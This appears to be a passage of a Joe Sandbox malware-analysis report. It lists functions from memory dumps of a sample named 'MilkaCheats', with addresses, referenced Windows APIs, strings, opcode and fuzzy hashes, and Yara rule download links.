Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: Y!
API String ID: 0-2222236823
Opcode ID: 44f56a3e0c808689ffa54ba9031cba8359a2877d00e67e35a48a7f930c708c93
Instruction ID: 1a7fe65fc6593daaef19a1f518d9a62d054dcd1715f6189c0d7d8a38ee5f388f
Opcode Fuzzy Hash: 44f56a3e0c808689ffa54ba9031cba8359a2877d00e67e35a48a7f930c708c93
Instruction Fuzzy Hash: E2C13672A046108BD718DB24D8526BBB7E2EF95724F09853CF8C58B392E738DD85C792

Function 0011E2E9 Relevance: 1.7, Strings: 1, Instructions: 439COMMON

Download Yara Rule

Strings

~^Pf, xrefs: 0011E2F5

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: ~^Pf
API String ID: 0-3538719280
Opcode ID: fcf5e9002738e74fb6e6bc7ba6a727c98c5c51d942af80ad7f26d954ff4c7fc5
Instruction ID: dfcb1f63a02fe59d82ad7d1d4aa948f4a5c571958650984f8260fb3a4f73eaf5
Opcode Fuzzy Hash: fcf5e9002738e74fb6e6bc7ba6a727c98c5c51d942af80ad7f26d954ff4c7fc5
Instruction Fuzzy Hash: B5D1BD756047418FD329CF29C450762FBE2AF96314F28C6ADD4EA8B7A2C739D846CB50

Function 0011D0F0 Relevance: 1.7, Strings: 1, Instructions: 422COMMON

Download Yara Rule

Strings

", xrefs: 0011D406

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 07a68b65afc1f8c2f0352e68ae02b44972fd835b148217e58b0b56862b6ef539
Instruction ID: 111e699ce8b6fc32902bd0270e4b735fc404d667dff2a09b9ecfc8c4d8b44380
Opcode Fuzzy Hash: 07a68b65afc1f8c2f0352e68ae02b44972fd835b148217e58b0b56862b6ef539
Instruction Fuzzy Hash: 53D118B2A083105FD718CE24D481BABBBE6AF95354F19853DE899C7381E734DD84C792

Function 001102D5 Relevance: 1.6, Strings: 1, Instructions: 400COMMON

Download Yara Rule

Strings

_a1c, xrefs: 0011044B

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: _a1c
API String ID: 0-3923334831
Opcode ID: 69ae0ed3bd97d48e93cdc9e50c7d5bd1abc65dadb251b0cc80b723393a68fc2b
Instruction ID: df7a00e9c5cc912ed9a65ee7255a29503c806ca2406f3798c95aa6eaca894d6e
Opcode Fuzzy Hash: 69ae0ed3bd97d48e93cdc9e50c7d5bd1abc65dadb251b0cc80b723393a68fc2b
Instruction Fuzzy Hash: E8C1F1B59093118BD3158F24C8813ABBBE2EFD5754F188A2CE4C55B3A5D774C982CB86

Function 000C4C86 Relevance: 1.6, APIs: 1, Instructions: 126COMMON

Download Yara Rule

APIs

_Deallocate.LIBCONCRT ref: 000C4D85

Part of subcall function 000C1575: __EH_prolog3_catch.LIBCMT ref: 000C157C

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: DeallocateH_prolog3_catch
String ID:
API String ID: 20358830-0
Opcode ID: 9f2e1524070fdeb75737c359b4b60c04fb161b5dff844a0bef9cbc2d86fd044f
Instruction ID: 564d7e83820b381f19fafe280a8418dc2bc70a1ff92c020f391069832c27b46e
Opcode Fuzzy Hash: 9f2e1524070fdeb75737c359b4b60c04fb161b5dff844a0bef9cbc2d86fd044f
Instruction Fuzzy Hash: 984167719193529FC394DF68888095FFBE8FB89710F440A2EF984DB351E330DA018B92

Function 000CEB69 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 000CECF7

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 13c28ddcc3cd2f3c9792e811e29e91eefb9bcede04e74da7d9b8ef8bc9586b84
Instruction ID: e69d287121b4fc1f126c198d78c31cfa913117a1200645cf33ecf303ab87440d
Opcode Fuzzy Hash: 13c28ddcc3cd2f3c9792e811e29e91eefb9bcede04e74da7d9b8ef8bc9586b84
Instruction Fuzzy Hash: 35C19D70A046868FCB74CF68C484FBEBBE2AB45314F24462DE4579B2A2C731AD46CB51

Function 00130F20 Relevance: 1.6, Strings: 1, Instructions: 335COMMON

Download Yara Rule

Strings

8977, xrefs: 00130F22

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: 8977
API String ID: 0-400282742
Opcode ID: 260720bded5ebe0c085c50f3c04ff5b3840a6d228c069c1f1f0eb7ee3ad91b64
Instruction ID: c31f30fe50ff38d853c810fc46fc7f481977bef2f616ae72c549d6d3a4f5b97a
Opcode Fuzzy Hash: 260720bded5ebe0c085c50f3c04ff5b3840a6d228c069c1f1f0eb7ee3ad91b64
Instruction Fuzzy Hash: 2CA14372A043506FE7189E289C417BBB7E5ABC5314F094A2CFE95D7252EB35EC048792

Function 000DE1A7 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 000D4200: GetLastError.KERNEL32(?,00000008,000D9825,00000000,000CB670), ref: 000D4204
Part of subcall function 000D4200: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 000D42A6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000DE1FB

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1472c32d7899857d8583fc4b943c0ba56fb88ed1ccfc909f6b4c9718f75a5d5c
Instruction ID: 7fdc3a38a9e66a424d8a3c530931ad23fca89578b5b013acfd2059bf0a1d656e
Opcode Fuzzy Hash: 1472c32d7899857d8583fc4b943c0ba56fb88ed1ccfc909f6b4c9718f75a5d5c
Instruction Fuzzy Hash: 0A219272A14346ABEB28AB24DC42ABA73ECEF45314B14017FF905DB242EB74ED44C760

Function 000CE821 Relevance: 1.6, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

0, xrefs: 000CE9AB

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9e03d8749efb084e4d3236a1f2697f77b77e45cd6a4540dc4961ce85ab784436
Instruction ID: 69f69aa87bd1b981c4e4ea2d204fceec5306f13440ab4d0d5d5546ce8a310d7c
Opcode Fuzzy Hash: 9e03d8749efb084e4d3236a1f2697f77b77e45cd6a4540dc4961ce85ab784436
Instruction Fuzzy Hash: 05B1B47090068A8BCBB8CFA4C491FBEB7F5EF41300F14062EE556A7292DB35AD45CB52

Function 000DDE2E Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000D4200: GetLastError.KERNEL32(?,00000008,000D9825,00000000,000CB670), ref: 000D4204
Part of subcall function 000D4200: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 000D42A6

EnumSystemLocalesW.KERNEL32(000DDF54,00000001,00000000,?,-00000050,?,000DE585,00000000,?,?,?,00000055,?), ref: 000DDEA0

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8cd60ba6bf26e550e0934cfea74711bd3bb2b0d8bed279d7b5d12dbdcbee3bca
Instruction ID: 7996204da9149b7f35899623c148f926392b99acfda1f213a92e7d65dc5aa713
Opcode Fuzzy Hash: 8cd60ba6bf26e550e0934cfea74711bd3bb2b0d8bed279d7b5d12dbdcbee3bca
Instruction Fuzzy Hash: 5811C63A2007055FDF18AF39D8915BAB791FB90358B14482FE6478BB40D371A942C750

Function 000DE3D6 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 000D4200: GetLastError.KERNEL32(?,00000008,000D9825,00000000,000CB670), ref: 000D4204
Part of subcall function 000D4200: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 000D42A6

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,000DE170,00000000,00000000,?), ref: 000DE402

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d70edbdc045944395db2b8293b31686f01aca8d688aba91c33b2a449d7de83f4
Instruction ID: 26ecc70f370fe7dc73a1baf57baa952ec19692d060c08be17e72e3685c5e49c6
Opcode Fuzzy Hash: d70edbdc045944395db2b8293b31686f01aca8d688aba91c33b2a449d7de83f4
Instruction Fuzzy Hash: F8F0F932A40355ABDB246B64C805BBF7798DB40754F55482AED06A7280DA74FD41C5B0

Function 000DDEC9 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000D4200: GetLastError.KERNEL32(?,00000008,000D9825,00000000,000CB670), ref: 000D4204
Part of subcall function 000D4200: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 000D42A6

EnumSystemLocalesW.KERNEL32(000DE1A7,00000001,?,?,-00000050,?,000DE549,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 000DDF13

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: f9996562bba6d22bb8a8f29b840e16ba0971d62164c824dbde37c3b54f9af08b
Instruction ID: 17476c54ccac888766fcd361014cf2cc210064c04f0fc0ebc9b9f361b4ccaf59
Opcode Fuzzy Hash: f9996562bba6d22bb8a8f29b840e16ba0971d62164c824dbde37c3b54f9af08b
Instruction Fuzzy Hash: 0BF0C23A2043045FDB246F359881ABA7BD5EB80768B05443FFA068B781D6B1AC02CA60

Function 000D54FD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000CF8B0: EnterCriticalSection.KERNEL32(?,?,000D3ED8,?,000ED8D0,00000008,000D409C,?,?,?), ref: 000CF8BF

EnumSystemLocalesW.KERNEL32(000D54F0,00000001,000ED970,0000000C,000D58C2,00000000), ref: 000D5535

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: b508d072588b1794b6801fa593924ba843f17a0cce132e075ec88cd76cbf8606
Instruction ID: 6460ea78ddbb2c7222c5f2a1042cc0d9684d8bd0f9abf6783870e6d4f2b5aacd
Opcode Fuzzy Hash: b508d072588b1794b6801fa593924ba843f17a0cce132e075ec88cd76cbf8606
Instruction Fuzzy Hash: FEF03C76A40204EFDB10DF58E882B9C77F1EB05721F10412BF5159B3A2CAB589808F90

Function 000DDDE3 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000D4200: GetLastError.KERNEL32(?,00000008,000D9825,00000000,000CB670), ref: 000D4204
Part of subcall function 000D4200: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 000D42A6

EnumSystemLocalesW.KERNEL32(000DDD3C,00000001,?,?,?,000DE5A7,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 000DDE1A

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d2f5723994bb9203e3605df3684744d887d2b5ee162dd8ed9dd6320e6c64872b
Instruction ID: a188c1cbefb8376f66704e6e63265d13c22ff3ac0f30768356ae4c4fd7d3848e
Opcode Fuzzy Hash: d2f5723994bb9203e3605df3684744d887d2b5ee162dd8ed9dd6320e6c64872b
Instruction Fuzzy Hash: 7BF0E53A30034557DF14AF3AE8556AA7FD5EFC1720B46405BEB068F351D6759843C7A0

Function 000D59C6 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,000D2E4B,?,20001004,00000000,00000002,?,?,000D244D), ref: 000D59FA

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 4fc59a491c5911bc223c49f5a2ce335177807589d93f73c0b7e22996c8858fe6
Instruction ID: 90766ac4c6260a317cafaa054bc841bc35b0965ec223a072bd73a38fc9974462
Opcode Fuzzy Hash: 4fc59a491c5911bc223c49f5a2ce335177807589d93f73c0b7e22996c8858fe6
Instruction Fuzzy Hash: ECE0DF32900B6CBBCF126F60DC05FEE3E15EF40B23F400012FC052A221CB329C20AAA8

Function 000C790C Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007918,000C6CF7), ref: 000C7911

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 33074d826bcf5a4b4c492fcd91c1fb925470d68c31b3c91d79925c6961cbbbbe
Instruction ID: faad62eb986aa8aa72f6485823ef64d9b86f4f77ee0f04766f8bc19597dac25a
Opcode Fuzzy Hash: 33074d826bcf5a4b4c492fcd91c1fb925470d68c31b3c91d79925c6961cbbbbe
Instruction Fuzzy Hash:

Function 0012E0A0 Relevance: 1.5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

Strings

InA>, xrefs: 0012E120

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: InA>
API String ID: 0-2903657838
Opcode ID: c87f5345c010cd19fc5aaece9cdbd2b6ed7fb7ca2957962ab0ab3d7c57abf243
Instruction ID: d349657281003d4bf1694d2a74246f100672d42e773a056d1a77ac42519d45dc
Opcode Fuzzy Hash: c87f5345c010cd19fc5aaece9cdbd2b6ed7fb7ca2957962ab0ab3d7c57abf243
Instruction Fuzzy Hash: CA6159357483258FD724DE68EC80B3BB7E6ABD4710F248A3CE99687295E730DD218741

Function 00123460 Relevance: 1.5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

Strings

0, xrefs: 001234EF

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: f823962057c98e3a6307e94c1ea056d96ad70172f82927ecd58afa4e52e72160
Instruction ID: 7ae9d17ff9463e20fe8462e38c52fd472e175b25c9a9809012fc98b043c94d1e
Opcode Fuzzy Hash: f823962057c98e3a6307e94c1ea056d96ad70172f82927ecd58afa4e52e72160
Instruction Fuzzy Hash: F0814D37A1D9A147CB194A3C6C513B9BE934B97330F3E83A9D5B29B3D1C72989168350

Function 001308F0 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

8977, xrefs: 001308F2

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: 8977
API String ID: 0-400282742
